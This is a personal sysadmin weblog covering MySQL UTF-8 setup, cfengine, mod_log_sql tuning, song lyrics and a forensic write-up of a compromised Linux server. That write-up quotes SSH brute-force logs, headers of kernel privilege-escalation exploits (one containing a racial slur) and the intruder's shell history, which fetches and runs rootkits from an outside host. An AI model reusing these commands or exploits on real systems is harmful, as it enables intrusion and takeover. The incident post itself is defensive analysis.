Viraj's Weblog

I'm not a very lingual guy. So when I got a request to see how to store and display Russian characters with MySQL and PHP, I didn't really know too much about it. So began my research.

First of all I was told there was some table that had Russian data in it. When I did a select on it I would get something like:

mysql> select * from polls;
...
| 11 | ??? ???????? ?????? ?????????? ?????????????     | NULL |

Ok, that's reasonable. The mysql client must not know how to display it. But how can I be sure those are actually Russian characters and not actually question marks? If the user never got Russian working, can we be sure there is actually Russian data in there? I wanted to see the true values in there, and came across the ascii() mysql function which gives the ascii value of the first character of a string.

mysql> select ascii(question) from polls;
...
|              63 |

Hmm, 63 is actually the ascii value for a question mark. So I cannot depend on this data. Next task is creating a table and populating it with Russian data. After some searching, I found that I needed to specify the column character set.

create table polls2 ( id int(11) not null auto_increment, 
question text character set utf8, 
lang varchar(10) default null, primary key (id));

Ok great, now how do I enter data? I don't know Russian, nor how to type it. Luckily, I did have some Russian spam on hand, and succeeded in cutting and pasting it. But before I could insert, I had to change my mysql command line connection character set:

set names 'utf8';
insert into polls2 (question) values ('some pasted russian stuff');

That looked like it populated the table ok, and in my OS X terminal I can even see the characters (but they look ugly). I wrote (or rather, stole) some PHP code to query the DB and display it, but was just ending up with junk in the browser. After much searching, I found that a header must be added to the HTML:

... meta HTTP-EQUIV="Content-Type" 
CONTENT="text/html; charset=utf8"
(sorry can't put the brackets here)

Ok, but it still didn't work. I'm starting to dislike these Russians. I then went to Gmail with the Russian spam, and looked at the HTML source of the email displayed in the browser. I saved it, and then copied the html file to the server I was working on. I went to retrieve the file from my server, and whaddaya know it's showing junk characters again. So clearly it wasn't any incorrect data in MySQL or displaying it with PHP on my part. There must be something else going on. It's as if the META HTTP-EQUIV headers specifying language are being ignored.

So I ran wget to show me the headers:

wget -q --save-headers -O - my.site.com/russian.spam.html

And then notice that the server was sending:

Content-Type: text/html; charset=iso-8859-1

Clearly overriding whatever I put in the html headers. I then found there was an AddDefaultCharset in the Apache config which is the culprit. I didn't want to really change that, and instead created an .htaccess with:

AddDefaultCharset Off

Now, after doing all this, I can finally see the Russian characters in the browser, retrieved from MySQL, and displayed with PHP:

Maybe these notes will be helpful to some poor soul.

A friend of mine posted a blog about read() calls and the maximum amount you can read. It got me interested too, so I did some tests as well.

First of all, I notice the read() manpage states (man 2 read):

If count is zero, read() returns zero and has no other results. If count is greater than SSIZE_MAX, the result is unspecified.

SSIZE_MAX on my Linux system is 2gig, or 2^31. I cannot read more than that. In fact, the largest buffer I can malloc is about 2934062847. Both malloc() and read() take types of size_t, type unsigned long, which is 4gig, or 2^32. But it seems read() cannot read more than 2^31. Hm, I know I can't use values greater than 2^32 on 32-bit systems, but I would expect read() to do up to 2^32 and not only 2^31.

Here is a great site that combines Google Maps with Craig's List to provide apartment/home locations.

I recently got a message from a client that said whenever he added groups to a server, they would disappear.

Now this is what I call a system reacting to change. It gives me no surprises. If someone tries to change something I specifically don't want them to change, those changes are eventually discarded. In this case it was /etc/group being checksummed to a copy on the cfengine distribution server, and when the change was found, it simply put back in the original version. Same goes for passwd, shadow, and other important files. This even provides some security to the box, and makes the system look like it's a live organism .

There are many cases where someone goes into the system and breaks something. A tool like cfengine can be used to provide some armor on the system, with some ability for self-correction. Of course someone can just go to the cfengine server and screw up the distribution files there, but that requires some more conscious effort.

It's impossible to code for every possible damage that can be done to a system, but you can think about the major problems and counter those, which is better than nothing. Here is another of my questions on the mailing list. I started a small war, but It's pretty cool to get responses from computer science professors .

Since implementing mod_log_sql for a client, I've come across some interesting issues that required a bit of MySQL tuning.

The way mod_log_sql works is each Apache process makes a connection to the MySQL server. This means the MySQL server must be able to theoretically support n * MaxClients connections where n is the number of webservers. In my case, that value turns out to be 2048. That's alot of connections! The default limit is 100. MySQL 4+ supports setting these sort of variables without restarting the server with a command such as:

set global max_connections=2048;

The other thing I am sure would be required is MySQL's INSERT DELAYED feature. This allows inserts to occur while the table is locked by another process. MySQL does not provide row-level locking on MyISAM tables. I envision the users using these apache log tables quite a bit, and didn't want that to slow down inserts. I had used insert delayed in the past in a spam filter I wrote for CommuniGate Pro. Insert delayed is still a work in progress in the version of mod_log_sql I'm using, so I ended up going to the C code and changing the inserts to 'insert delayed' syntax and recompiling.

When I did the above changes I thought it would be the end of the story. Then came the next problem. The tables are growing fairly large, about 3gigs a week. This is much more than text logs because text logs are usually compressed. So I had to setup some sort of archival scheme. I was testing some pruning SQL statements. The tables don't have indexes, and certain queries were taking minutes. I thought, that's ok, because I'm using insert delayed. Soon, I started noticing the webservers reporting the following whenever I was working on the tables:

[Sat Nov 12 10:04:46 2005] [error] mod_log_sql_mysql: database connection error: mysql error: Too many connections
[Sat Nov 12 10:04:46 2005] [error] mod_log_sql: child spawned but unable to open database link

Huh? How could locking the table cause >2048 connections attempting to be made? This could be a bad design of mod_log_sql, but I thought there has to be some other issue underlying the problem. I did a:

show variables like '%delayed%';

Which showed:

| delayed_insert_limit       | 100   |
| delayed_insert_timeout     | 300   |
| delayed_queue_size         | 100   |
| max_delayed_threads        | 20    |
| max_insert_delayed_threads | 20    |

Hmm, not knowing what these actually do and not finding too much documentation on them I tried increasing delayed_insert_limit, but that didn't do anything and I still got the connection errors. Then I thought, let me try reproducing the problem by locking the table and watching the output of 'show status' for any clues in the 'delayed' variables. So in one window I did:

lock tables access_table read;

And in another I did:

mysql> show status like '%delay%';
+--------------------------+----------+
| Variable_name            | Value    |
+--------------------------+----------+
| Delayed_errors           | 0        |
| Delayed_insert_threads   | 6        |
| Delayed_writes           | 15583200 |
| Not_flushed_delayed_rows | 5        |
+--------------------------+----------+
4 rows in set (0.00 sec)

I did this a few times and noticed Not_flushed_delayed_rows increasing rapidly, which makes sense since I locked the table and insert delayed queries are being queued. As soon as it got to 100, Apache was reporting the connection errors. That clearly told me 100 was a limit somewhere. It wasn't delayed_insert_limit since I tried increasing that already, so I tried increasing delayed_queued_limit. That was it. 'queued' should have pointed that out to me . I changed it to a much larger value (10000) and everything seems smooth now.

These can be set in /etc/my.cnf with lines like:

[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
set-variable=max_connections=2048
set-variable=delayed_queue_size=10000

I was reading about a study on emotions. There was an experiment done with people who basically have went through some sort of trauma that made them emotionless. These were people that were at the ultimate calm. Nothing could upset them or make them sad, and also nothing could make them happy. They simply had no emotional states, and did not have these feelings.

What the scientists found out is that these people have trouble making decisions. Whenever they were given simple questions, where they had to choose between many equally valid answers, they could not do it. They would basically be stuck in an 'indecision' mode, and nothing would tip them over to make a choice.

The scientists claimed that emotions are what tips us over to one side, and causes us to make decisions. I thought this was really fascinating. You always hear that you should be calm when making decisions and such, but really if you are completely calm (the ultimate calm) you will not make any decisions. So there has to be some emotion there to push you. It's like being on a fence, or stuck in some race condition or infinite loop.

So when you get emotional keep in mind it's not entirely a bad thing.

I always thought this song was a good job resignation song.

I setup a load balancing Apache setup to log its access log to MySQL with mod_log_sql. This module works nicely. Check it out.

Well after doing alot of work with cfengine, I've come to the realization that the convergence methodology of system administration is the best one. That means many systems slowly converging to a desired setup, and staying that way.

One of the major hassles with sysadmin is making sure servers that should be identical, are actually identical. In terms of software and libraries installed, processes running or not, etc, any sort of divergence is usually a problem.

It takes alot longer to 'administrate' this way, but the extra time you put in at the beginning pays off. I've been setting up a group of machines for a client with cfengine, setting up packages and making configuration changes as needed, all from a central location. I'm not quite to the point where I don't have to even login to other systems, but for many tasks I don't. What's also great is I was able to test how well my 'converging' setup worked. A new server was brought online, and needed to be just like the others. After installing cfengine and letting it go, it worked pretty good, with only minor issues.

I believe we need to move away from fixing systems and instead work on making systems fix themselves. It's more than just automation, it's predicting failures and coming up with solutions. cfengine is a step in that direction, towards an immunological system applied to computers. When you start talking about hundreds of servers, you don't want to ever have to login to any of them. The more 'intelligent' I can make the servers I setup, the better.

In fact I am almost against even setting up monitoring for them. I don't want to be paged or even notified about some server Apache process that died. I want it to restart the process. The less I know the better . We sysadmins need to stop being mechanics and start designing systems that react to change and fix themselves.

Ahh, but we don't live in an ideal world. Anyhow, any steps that can be made towards this goal I think are good ones. cfengine is really cool in its ability.

I recently posted a question to the cfengine mailing list, and seemed to have started a storm about whether a system's hostname should be a FQDN. I did however get my question answered in all that hoopla.

There's a great song by Richard Ashcroft. I thought I would post the lyrics:

(Check the meaning)

When I'm low, and I'm weak, and I'm lost
I don't know who I can trust
Paranoia, the destroyer, comes knocking on my door
You know the pain drifts to days, turns to nights
But it slowly will subside
And when it does, I take a step, I take a breath
And wonder what I'll find

Can you hear what I'm saying?
Got my mind meditating on love, love
Feel what I'm saying
Got my mind meditating on love, love

(The human condition)
(The human condition)

Too much blood, too much hate, turn off the set
There's got to be something more
When Mohammed, Allah, Buddah, Jesus Christ
Are knocking down my door
I'm agnostic getting God, but man
She takes a female form
There's no time, no space, no law
We're out here on our own

Can you hear what I'm saying?
Got my mind meditating on love, love
Feel what I'm saying
Got my mind meditating on love, love

[Check the meaning]
[The human condition]
[Check the feeling]
[The human condition]

Guess it's life, doing it's thing
Making you cry, making you think
Yeah life, dealing it's hand
Making you cry and you don't understand
Life, doing it's thing
Making you cry now, making you think of
Pain, doing it's thing
Making you cry yeah, making you sing

Don't say it, don't say it's too late
Don't, don't say it's too late (It's never too late, it's never too late)
Don't, don't say it's too late (It's never too late)
Don't, don't say it's too late

The human condition, the big decisions
The human condition, the big decisions

I'm like a fish with legs, I fell from the tree
I made a rocket (check the meaning), I made a wheel
I made a rocket (check the feeling), I swam the ocean (check the meaning)
I saw the moon (say a prayer), I seen the universe (and beyond)
I see you (check the feeling), I see me (check the meaning)
That's my reality
And while the city sleeps we go walking

It's a beautiful world
And when the city sleeps we go walking
We find a hole in the sky and then we start talking
And then we say "Jesus Christ, Jesus Christ, Jesus Christ
Buy us some time, buy us some time"
Hear what I'm saying
Can you hear what I'm saying?
Can you hear what I'm saying?
Can you hear what I'm saying?

It's gonna be alright

So I just had a 2nd Anatomy exam and am fairly sure I got an A on it. I studied so many diagrams that were not even on the test. The only thing they put was a pelvis and baby skull, and we had to know all of the parts. There were 2 questions that got me a bit. One was similar to:

What are bones made of?
A. water, proteins, and calcium salts
B. hydroxyapatite
C. All of the above

It had to be either B or C, because I know that proteins, calcium salts, and hydroxyapatite are all part of bones. But the water part got to me. When I see such questions I think they are trick questions, and there are many compounds with water that are not liquid. Alas I picked B which I think is correct.

Usually when I take tests I also look for clues in one question that may help another. For example here was one:

From what are the skull bones formed?

A. endochondral tissue
B. dermal tissue
C. cartilage

Now I didn't have a good idea what endochondral tissue was, but then I thought about the etymology. endo of course means within. Chondro I knew had something to do with cartilage, because there are cells like chondrocytes, chondroblasts, and chondroclasts that all have to do with cartilage formation. So endochondral means within cartilage, and so neither A or C could be the answer. It had to be B. This then helped me with another question similar to:

Dermal tissue forms from neural crest cells. What are other aspects of dermal tissue?

A. also known as endochondral
B. used for bone replacement
C. preceded by a template of cartilage
D. not preceded by a template of cartilage
E. all of the above

Of course E is ruled out because C and D contradict each other (this professor likes to do that alot which is helpful). From previous questions I knew that endochondral is equivalent to cartilage, so it could not be A or C. So the only choices left were B and D. From the previous question I determined skull bones are formed from dermal tissue, so that hinted this was not used for bone replacement. I also knew a bit about fracture healing, and it involves cartilage. So the answer had to be D. Also 'neural crest' hints towards the skull question above.

So throughout the test, I am sort of learning things for other questions, and going back and forth. I know at this point that dermal tissue forms without cartilage and is the basis for the skull. Then I come across this question:

Which of the following bones form from dermal tissue?

A. clavicle
B. femur
C. humerus
D. all of the above

I can infer from previous questions that the limb bones definitely do not form from dermal tissue, because I know that a fracture of a limb involves cartilage formation. The only possible choice was the clavicle, which makes sense. The clavicle is a very weak bone and the whole pectoral girdle is very movable, so I imagined it forming within soft tissues.

Other than that the rest of the 54 questions were pretty painless.

I wonder what 1st person shooter that kid is playing in the background.

So I'm logged into a client's Linux system and see a bunch of 'uselib24' processes running by a user 'tester' and taking up all the CPU. Immediately I knew it was hacked.

It turned out this 'tester' was a valid account with a very easy to guess password, and this is how they got in:

... tons of SSH attempts from 194.57.119.197
Nov 2 16:39:03 server sshd[13998]: Failed password for illegal user fax from 194.57.119.197 port 57895 ssh2
Nov 2 16:39:03 server sshd[14000]: Illegal user fax from 194.57.119.197
Nov 2 16:39:07 server sshd[14000]: Failed password for illegal user fax from 194.57.119.197 port 57995 ssh2
Nov 2 16:39:12 server sshd[14002]: Failed password for tester from 194.57.119.197 port 58116 ssh2
Nov 2 16:39:12 server sshd[14004]: Accepted password for tester from 194.57.119.197 port 58213 ssh2

Then later in the logs, tester comes in from a different IP:

Nov 2 20:41:42 server sshd[14574]: Accepted password for tester from 62.162.20.93 port 3132 ssh2

So I check what processes this user is running. I see that he is running screen, and these 'uselib24' processes. Wondering where he ran these from, I just went to /proc/PID and looked at the cwd symlink. It's linked to /var/tmp/.a. I look in there and see all sorts of rootkit exploits, one of them being this uselib24. He even has the C code uselib24.c, and it looks like:

/*
* Linux kernel 2.4 uselib() privilege elevation exploit.
*
* original exploit source from http://isec.pl
* reference: http://isec.pl/vulnerabilities/isec-0021-uselib.txt
*
* I modified the Paul Starzetz's exploit, made it more possible
* to race successfully. The exploit still works only on 2.4 series.
* It should be also works on 2.4 SMP, but not easy.
*
* thx newbug.
*
* Tim Hsu Jan 2005.
....

Let's see, what else. There is a k-rad.c. What's that look like?

/*
* k-rad.c - linux 2.6.11 and below CPL 0 kernel exploit v2
* Discovered and exploit coded Jan 2005 by sd
*
* In memory of pwned.c (uselib)

And then ex_perl2b.c:

/*
* Copyright Kevin Finisterre
*
* Setuid perl PerlIO_Debug() overflow
*
* Tested on Debian 3.1 perl-suid 5.8.4-5
*
* (11:07:20) *corezion:* who is tha man with tha masta plan?
* (11:07:36) *corezion:* a nigga with a buffer overrun
* (11:07:39) *corezion:* heh
* (of course that is to the tune of http://www.azlyrics.com/lyrics/drdre/niggawittagun.html)
*
* cc -o ex_perl2 ex_perl2.c -std=c99
*
* kfinisterre@jdam:~$ ./ex_perl2
* Dirlen: 1052
* Charlie Murphy!!!@#@
* sh-2.05b# id
* uid=1000(kfinisterre) gid=1000(kfinisterre) euid=0(root)
*
*/

A nice collection of recent exploits. I honestly haven't been keeping up with Bugtraq. There are some other binaries with no source code. I'm able to actually 'screen -r' his session. It's running the uselib24 process, crunching away at trying to find a buffer overflow address. I wanted to use screen's scrollback buffer to get some history, but accidentally did a 'pkill -9 -u tester' in another window. So I only saw the last few things he did:

[tester@server .a]$ chmod 9x uselib24
chmod: invalid mode string: `9x'
[tester@server .a]$ chmod +x uselib24
[tester@server .a]$ ./uselib24

[+] SLAB cleanup
child 1 VMAs 29608
child 2 VMAs 1132
child 3 VMAs 124
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xc0400000 - 0xc04f97de
Wait... /

~/.bash_history shows some more:

exit
w
uname -a
/sbin/ifconfig
iptables -L
cd /var/tmp
mkdir -p .a
cd .a
wget radovis.com/images/new.tgz
tar zxvf new.tgz
chmod +x hator
wget radovis.com/images/k.zip
unzip k
chmod +x hator
./hator
chmod +x pwned
./pwned
chmod +x a
./a
chmod +x modprobe
./modprobe
./pwned
./a
screen -v
ps -x
ps -aux
screen -v
screen
screen -r
ls -al
chmod 9x uselib24
chmod +x uselib24

So you see he downloaded rootkits from http://www.radovis.com/images/.

Doesn't appear he was able to get root access. Luckily this server is being phased out anyway. Wee, the fun of finding hackers... yawn.

Bookpool is having its annual 47% off sale on O'reilly books. Go grab some.

Awhile ago I bashed this exercise machine called the ROM that touted a 4-minute workout. Reading through their site they actually have some valid points. Checkout this video of the 'device'.